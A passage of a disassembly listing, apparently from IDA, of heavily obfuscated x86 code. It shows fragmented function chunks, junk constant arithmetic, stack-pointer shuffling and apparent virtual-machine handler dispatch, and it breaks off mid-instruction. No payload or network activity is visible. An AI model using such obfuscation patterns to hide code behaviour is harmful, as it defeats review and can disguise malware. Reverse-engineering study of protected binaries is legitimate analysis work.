loc_5A8267: ; CODE XREF: sub_5AB3DB-AD29j ; sdfs____:005A1DB6j push edi jmp loc_5AFA46 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5A826D: ; CODE XREF: sub_5A2AFE+CBBFj shl ecx, 1 jmp loc_59B701 ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8274: ; CODE XREF: sub_5992DA+D047j shr esi, 4 jnz loc_5A6CD4 sub esi, 144264DDh jmp sub_5A77D5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A8288: ; CODE XREF: sub_5A0AA2-6FA0j or ecx, ebx mov ebx, [esp+8+var_8] add esp, 4 sub ecx, 89A8F6D2h jmp loc_59DF1E ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A829E: ; CODE XREF: sub_5AF294-82C7j push 5FB1h mov [esp-0Ch+arg_8], ebx mov ebx, 0 sub esp, 4 mov [esp-8+arg_4], eax mov eax, 126C005Eh add ebx, 1CA76F30h jmp loc_5A4FA2 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A82C4: ; CODE XREF: sub_59F4D2+1j mov ebp, 0DDC6672h jmp loc_5A3282 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A82CE: ; CODE XREF: sub_5AA2D1-10F7Cj jmp loc_5A5F65 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A82D3: ; CODE XREF: sub_5996E4+C04Cj xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+0], eax sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax add eax, 4 add eax, 4 jmp loc_5991F8 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A82FC: ; CODE XREF: sub_5992DA+283Aj pop ecx pop eax sub esp, 4 mov [esp-4+arg_0], ebp mov ebp, 26DA6BC3h push esi mov esi, 15592A5Dh jmp loc_59DDF4 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8317: ; CODE XREF: sub_5AA2D1-EE8j ; sub_5A6BBC+623Fj pop eax xchg edi, [esp-18h+arg_14] pop esp mov word ptr [esp-1Ch+arg_18], cx movzx cx, al push cx pushf jmp loc_59910F ; --------------------------------------------------------------------------- loc_5A832C: ; CODE XREF: sub_5AA2D1+DE5j mov word ptr [esp-16h+arg_10+2], dx push eax mov ah, 55h inc ah neg ah jz loc_5A888C not ah jmp loc_59ADA3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A8344: ; CODE XREF: sub_5A9EC5-5F67j shl bh, 2 xor bh, 0AFh jmp loc_59D34A ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADBA5 loc_5A834F: ; CODE XREF: sub_5ADBA5-2787j xor al, cl pop ecx xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5AC71D ; END OF FUNCTION CHUNK FOR sub_5ADBA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A835F: ; CODE XREF: sub_5AA2D1+27C8j not al and al, 8Dh js loc_5A23E9 add al, 5Fh mov dl, al mov eax, [esp-12h+arg_C+2] mov al, dl pop edi ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A8373: ; CODE XREF: sub_59EE3E+8A8Dj push eax jmp loc_59A711 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A8379: ; CODE XREF: sub_59FC02+903Cj mov esp, [esp+0Ch+var_C] or eax, eax jz sub_59993B push dword ptr [edi+1Ch] push [esp+4+var_4] pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5AF49F ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A839C: ; CODE XREF: sub_5AA2D1-D07Cj push edi jmp loc_5ACAE1 ; --------------------------------------------------------------------------- loc_5A83A2: ; CODE XREF: sub_5AA2D1+8F8j pop esp xchg edx, [esp-16h+arg_10+2] pop esp push 4E5Fh mov [esp-16h+arg_10+2], ebx mov ebx, esp jmp loc_59D292 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5A83B6: ; CODE XREF: sub_5AD243-EA2Ej push [esp-10h+arg_10] pop eax pop dword ptr [esp+0] jmp loc_5A71A3 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A83C3: ; CODE XREF: sub_5AF294-119D3j add esi, ebx jmp loc_5A6FBF ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A83CA: ; CODE XREF: sub_5A2E28-81B9j ; sub_5AA2D1-6788j sub al, dl pop dx push ebx push dx mov dl, 44h mov bh, dl pop dx and bh, 0D6h add bh, 0DBh jmp loc_59D599 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5A83E2: ; CODE XREF: sub_5A3E64+A7FCj add ebp, ecx push edi mov edi, 6EE47C50h sub ebp, edi pop edi pop ecx add ebp, eax jmp loc_5AE34A ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A83F5: ; CODE XREF: sub_5A5B27-6EDFj xor eax, 1E7296h ja loc_5A65BD sub eax, 0DD5DADCAh mov esi, eax pop eax sub esi, 0FFFFFFFFh ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A840B: ; CODE XREF: sub_5AA2D1-DE13j neg edi add edi, 0C04B30D3h add ebx, edi pop edi push edi jmp loc_5A5A2C ; --------------------------------------------------------------------------- loc_5A841C: ; CODE XREF: sub_5AA2D1-9789j add bh, 0D7h jo loc_59B114 add bh, 22h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0] pop esp mov [esp-6+arg_0+2], ecx mov ch, bh mov dl, ch pop ecx pop ebx jmp loc_5A271A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A8447: ; CODE XREF: sdfs____:005A0372j ; sub_5B01F7-646Fj add ecx, 4 xchg ecx, [esp+0] pop esp jmp loc_59B523 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8453: ; CODE XREF: sub_5AA2D1:loc_5AAAFCj sub esi, 5E7E5D24h jbe loc_59C42F jmp loc_59E116 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A8464: ; CODE XREF: sub_5A9EC5-30E4j mov ebx, 4 sub ebp, 7C7324F7h add ebp, ebx add ebp, 7C7324F7h pop ebx jmp sub_59B4B1 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A847D: ; CODE XREF: sub_5AA2D1-B666j push 227Fh mov [esp+8+var_8], edi push edx push 163E4E62h pop edx dec edx xor edx, 123635C0h push esi jmp loc_5A6676 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A8499: ; CODE XREF: sub_59E94B+5EF0j mov ebp, [esp-0Ch+arg_8] add esp, 4 add edi, 5D4F47D5h sub edi, 0B073D8Eh add edi, eax add edi, 0B073D8Eh push ebx mov ebx, 5D4F47D5h jmp loc_5AB550 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A84C1: ; CODE XREF: sub_5AA2D1+3AABj pop [esp+10h+var_10] pop esp xor ebp, [esp+8+var_8] xor [esp+8+var_8], ebp xor ebp, [esp+8+var_8] mov esp, [esp+8+var_8] add esp, 4 push edi mov edi, 4 and ecx, edi mov edi, [esp+8+var_8] push esi push 5EB4h mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop esi push edi mov edi, 8902B2Ah sub edi, 8902B26h jmp loc_59D134 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5A8501: ; CODE XREF: sub_5A8215-8CE7j pop edx and eax, ebp pop ebp shr eax, 0Ch xor eax, ecx push 436Bh jmp loc_5ACF10 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A8514: ; CODE XREF: sub_5A5824+31F0j pop edi xor [edi+24h], edx push ebx mov ebx, 24h jmp loc_5A6B66 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5A8523: ; CODE XREF: sub_5A8215+4CFEj xor [esp+4+var_4], edi xor edi, [esp+4+var_4] jmp loc_5A9C15 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A852E: ; CODE XREF: sub_5A580F+A7F2j pop ebp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5A8534: ; CODE XREF: sub_59A4E8+12F54j pop esi jmp loc_5A1A31 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A853A: ; CODE XREF: sub_5AA2D1+49BAj sub bl, 0F8h movzx eax, al push dword ptr [edi+eax*4] push [esp+14h+var_14] jmp loc_5A52B1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A854B: ; CODE XREF: sdfs____:0059D484j xor eax, [esp] pop esp jmp loc_5A0CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A8554: ; CODE XREF: sub_5ABEF6-1D50j mov [esp+0], eax sub dword ptr [esp+0], 4DF9684Eh jmp loc_5ADDC1 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8563: ; CODE XREF: sub_5992DA+4F49j mov ebp, [esp+0] add esp, 4 push [esp+4+var_6+2] pop ebx add esp, 4 or esi, 3BE12683h jbe loc_5A2C6D shl esi, 5 dec esi xor esi, 7C65D4DEh and eax, esi mov esi, [esp+0] jmp loc_5A740F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A8593: ; CODE XREF: sub_5AD795-5E39j push 6C49h mov [esp+4+var_4], eax jmp loc_59AC9C ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A85A0: ; CODE XREF: sub_59F02F+3D1Dj pop ebx add esp, 4 jmp sub_5A2D20 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A85A9: ; CODE XREF: sub_59EE3E-2FD8j mov ebx, esi pop esi add ebp, 32783E2Ah add ebp, ebx sub ebp, 32783E2Ah pop ebx add edi, ebp pop ebp xchg edi, [esp-8+arg_4] jmp loc_5A90E6 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- loc_5A85C6: ; CODE XREF: sdfs____:005ABF2Aj pop edi add esp, 4 shr edi, 7 jnp loc_5A4CE7 push edi not dword ptr [esp] push dword ptr [esp] pop edi jmp loc_59AC47 ; =============== S U B R O U T I N E ======================================= sub_5A85E0 proc near ; CODE XREF: sub_5A2E28-5A0Cj ; DATA XREF: sdfs____:0059900Co push dword ptr [edi+1Ch] popf pop ax adc [esp+0], al pushf jmp loc_59910F sub_5A85E0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A85EF: ; CODE XREF: sub_59EE3E+16DBj ; sub_5A75B9:loc_5AC875j or ebx, 1FD56D0Fh jle loc_5A6297 shr ebx, 4 jnp loc_5A4C75 add ebx, 1F06FFEAh add ebx, 4BE25305h push esi mov ebp, ebp ; END OF FUNCTION CHUNK FOR sub_59EE3E ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A8613: ; CODE XREF: sub_59A9E9-942j add esp, 4 add edx, edi pop edi xor edx, [esp-4+arg_0] xor [esp-4+arg_0], edx xor edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_5AFB9D ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A862A: ; CODE XREF: sub_5AB3DB-159Ej mov eax, 32D04FAFh or eax, 44793B55h jo loc_5ACC65 jmp loc_5A06AF ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_5A863F: ; CODE XREF: sub_5AE40A+1DBCj push [esp+4+var_4] pop ecx push ebp push esp pop ebp push edx mov edx, 3ED03ECAh jmp loc_59E9F6 ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A489F loc_5A8651: ; CODE XREF: sub_5A489F+8j pop ebx mov ecx, [esp+8+var_8] push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] add esi, ebx pop ebx jmp loc_5ACBF7 ; END OF FUNCTION CHUNK FOR sub_5A489F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A8675: ; CODE XREF: sub_5A2E41+884Aj jmp sub_5A4624 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- loc_5A867A: ; CODE XREF: sdfs____:005AA3C8j add esp, 4 jmp loc_5ACA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8682: ; CODE XREF: sub_5AA2D1-D5E2j ; sub_5AA2D1-94A5j add ebp, 3570721Fh mov edi, ebp pop ebp add edi, 5BEF5E7Eh add edi, 5C697FC6h sub edi, 8E1ACB1Fh mov ebp, edi push [esp-4+arg_0] pop edi add esp, 4 or ebp, 3D587D92h inc ebp push eax mov eax, 4BB578B6h and ebp, eax jmp loc_59B210 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2A6 loc_5A86BA: ; CODE XREF: sub_59C2A6+53D1j sub edx, 7951785Eh pop ebp jmp loc_5AA630 ; END OF FUNCTION CHUNK FOR sub_59C2A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A86C6: ; CODE XREF: sub_5A9EBF+61A1j push 5AC6h jmp loc_5A7676 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_5A86D0 proc near ; CODE XREF: sub_5A72CB-AB3Dj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059CC45 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059D80C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A000F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A220D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A34B7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A5911 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A5998 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A73AD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A7BD9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A8DE7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AC030 SIZE 00000006 BYTES push ebp push edi push 5C6E4EF8h jmp loc_5A7BD9 sub_5A86D0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF9B3 loc_5A86DC: ; CODE XREF: sub_5AF9B3-1582j pop edx jmp loc_5AFF0F ; END OF FUNCTION CHUNK FOR sub_5AF9B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A86E2: ; CODE XREF: sub_5AA2D1+1022j mov al, 80h sub cl, al pop ax jmp loc_59CBC4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A86ED: ; CODE XREF: sub_59C979+12173j mov cl, 48h or cl, 42h jg loc_5AF397 jmp loc_5A44ED ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov cx, [esp] push 40FCh pop ecx ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8707: ; CODE XREF: sub_5AA2D1-748j jmp sub_59F3B6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A870C: ; CODE XREF: sub_5AF294-CE0Ej push [esp+arg_0] pop edi pop dword ptr [esp+0] jmp loc_5A93CA ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8719: ; CODE XREF: sub_5AA2D1-F1BCj ; sub_5AA2D1-3D8j ... mov ecx, 0D12BE4BFh xor edx, ecx pop ecx add esi, edx jmp loc_59B92D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A8728: ; CODE XREF: sub_5A7BA0+5B0Cj pop edx sub esp, 4 mov [esp+0], ecx jmp loc_59A2C3 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE4A9 loc_5A8734: ; CODE XREF: sub_5AE4A9-12CA9j pop [esp+8+var_8] pop esp mov [esp+0], eax sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov eax, [esp+4+var_4] push ebp mov ebp, esp jmp loc_5999A0 ; END OF FUNCTION CHUNK FOR sub_5AE4A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A8750: ; CODE XREF: sub_5A6BBC-CE37j add eax, 4 add eax, 4 xor eax, [esp+0Ch+var_C] xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] jmp loc_5A7A58 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A8766: ; CODE XREF: sub_59EE3E-54A3j jp loc_5A28BD jmp loc_5AEE8D ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A8771: ; CODE XREF: sub_599A61+EACj add ebx, 59C76904h add ebp, ebx pop ebx push [esp-10h+arg_8] pop eax add esp, 4 sub ebp, 2 push 1E10h mov [esp-10h+arg_8], ebp jmp loc_5AFE15 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- loc_5A8797: ; CODE XREF: sdfs____:0059EC13j add ebx, 4 jmp loc_5A048E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A87A2: ; CODE XREF: sub_5AB207-1041Bj push 0 sub [esp-8+arg_4], ebx pop ebx sub ebx, 0D4B0C2CAh sub edi, 431230C1h add edi, ebx add edi, 431230C1h pop ebx mov ebx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A5087 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- loc_5A87D7: ; CODE XREF: sdfs____:005A1939j inc ecx not ecx jmp loc_5A27E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A87DF: ; CODE XREF: sub_599117+E446j mov esi, 46E01DFh sub ebx, esi mov esi, [esp-4+arg_0] add esp, 4 push eax mov eax, 0D3302BFh add ebx, eax mov eax, [esp-4+arg_0] add esp, 4 add ebx, eax sub ebx, 0D3302BFh push edi push esi push 43C36831h pop esi mov edi, esi pop esi shl edi, 5 sub edi, 0FFFFFFFFh neg edi not edi jmp loc_5A471B ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A881F: ; CODE XREF: sub_5AA2D1-D5C4j add esp, 4 and al, 9Bh jmp loc_59EF96 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- lodsd jmp loc_59E16C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A882F: ; CODE XREF: sub_59D6B8+1185Aj push ecx jmp loc_5ADEE6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4B1 loc_5A8835: ; CODE XREF: sub_59B4B1+1j push ecx mov ecx, 4 mov ebx, ecx pop ecx jmp loc_59D0F4 ; END OF FUNCTION CHUNK FOR sub_59B4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7508 loc_5A8843: ; CODE XREF: sub_5A7508+75BFj xor edi, 8415E0Eh jz loc_59CCCD sub edi, 0FB368CE3h sub edi, 238F3AA4h jmp loc_5ABF4E ; END OF FUNCTION CHUNK FOR sub_5A7508 ; --------------------------------------------------------------------------- loc_5A8860: ; CODE XREF: sdfs____:0059F106j mov esi, 4 add ecx, esi pop esi sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_5AEB59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A8878: ; CODE XREF: sub_5B01F7-C0D9j shr eax, 2 jnp loc_5A291C push 6913h mov [esp+1Ch+var_1C], ecx mov esi, ebp pop ebx ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A888C: ; CODE XREF: sub_5AA2D1-1F9Aj not ah jmp loc_59DEB7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A8893: ; CODE XREF: sub_5AE29C+Bj mov edx, edi pop edi sub ebp, 4FE976EDh add ebp, edx push eax mov eax, 5E690AC5h not eax jmp loc_5A505A ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A88AB: ; CODE XREF: sub_59FC02+DEC4j mov ebx, ecx jmp loc_5AF5EA ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- loc_5A88B2: ; CODE XREF: sdfs____:005A7D91j add eax, ecx pop ecx sub eax, 4 xchg eax, [esp] pop esp jmp loc_5AF90F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A88C1: ; CODE XREF: sub_5AA2D1:loc_59F62Fj ; sub_5AA2D1-1510j jle loc_5ABC97 sub ebx, 227749C7h sub ebx, 5E0E70E6h mov bh, bh push ecx loc_5A88D6: ; CODE XREF: sub_5A0924+8ED7j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+10h+var_10] jmp loc_5AFCEE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599664 loc_5A88ED: ; CODE XREF: sub_599664+1238Aj mov dx, [esp+0] add esp, 2 mov bp, [esp-6+arg_2] add esp, 2 push dx push small [esp-8+arg_6] pop dx pop small word ptr [esp+0] mov dx, [esp-0Ah+arg_6] jmp loc_59BBB7 ; END OF FUNCTION CHUNK FOR sub_599664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5A8914: ; CODE XREF: sub_5AB5A9-47E9j push dword ptr [esp+0] pop ebp sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+4+var_4] jmp loc_59CFDF ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; =============== S U B R O U T I N E ======================================= sub_5A8931 proc near ; CODE XREF: sub_5A18F6+1E52j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599D64 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3E0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A920F SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], edx jmp loc_599D64 sub_5A8931 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A893C: ; CODE XREF: sub_5A2E28+3395j ; sub_5A79BE+475Dj pop ecx push 1E3Fh mov [esp-4+arg_0], ebx mov ebx, esp jmp sub_5A7508 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A894C: ; CODE XREF: sub_5A477C+9053j inc ebx or ebx, 75B5365Bh jmp loc_59E496 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A66A loc_5A8958: ; CODE XREF: sub_59A66A+A763j push 44FDh mov [esp+8+var_8], ecx sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 4 jmp sub_59E325 ; END OF FUNCTION CHUNK FOR sub_59A66A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A8973: ; CODE XREF: sub_59C979+CC96j mov ecx, 50A791Ah mov edx, 653A47FFh xor edx, ecx jmp loc_59CA94 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A8984: ; CODE XREF: sub_5A79BE-6968j pop esi add ecx, eax add ecx, 0B763F1Dh jmp loc_5ABBB8 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; =============== S U B R O U T I N E ======================================= sub_5A8992 proc near ; CODE XREF: sub_5A4F29+8j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A0185 SIZE 0000001C BYTES push ebx mov ebx, 4 mov ecx, ebx pop ebx add edi, ecx pop ecx sub edi, 4 xchg edi, [esp+0] mov esp, [esp+0] jmp loc_5A0185 sub_5A8992 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A89AC: ; CODE XREF: sub_5AA2D1-A2DDj pop edx mov ebx, [esp+4+var_4] add esp, 4 xchg ecx, [esp+0] pop esp mov [esp-4+arg_0], ebp mov ebp, 1 push 32A5h mov [esp+0], eax mov eax, 24h add eax, edi add [eax], ebp pop eax jmp loc_5AFEEB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A89D9: ; CODE XREF: sub_5A5EFF+3EB1j mov eax, [esp+4+var_4] add esp, 4 push 30C1h mov [esp+4+var_4], esi mov esi, 4 add eax, esi pop esi sub eax, 4 jmp loc_59A0BE ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A89F9: ; CODE XREF: sub_5992DA+110A0j pop esp mov [esp-4+arg_0], ecx push ebx mov bl, 10h mov ch, bl push dword ptr [esp+0] jmp loc_5ABD6E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A8A0A: ; CODE XREF: sub_5A5824+8ADAj mov [esp+0], 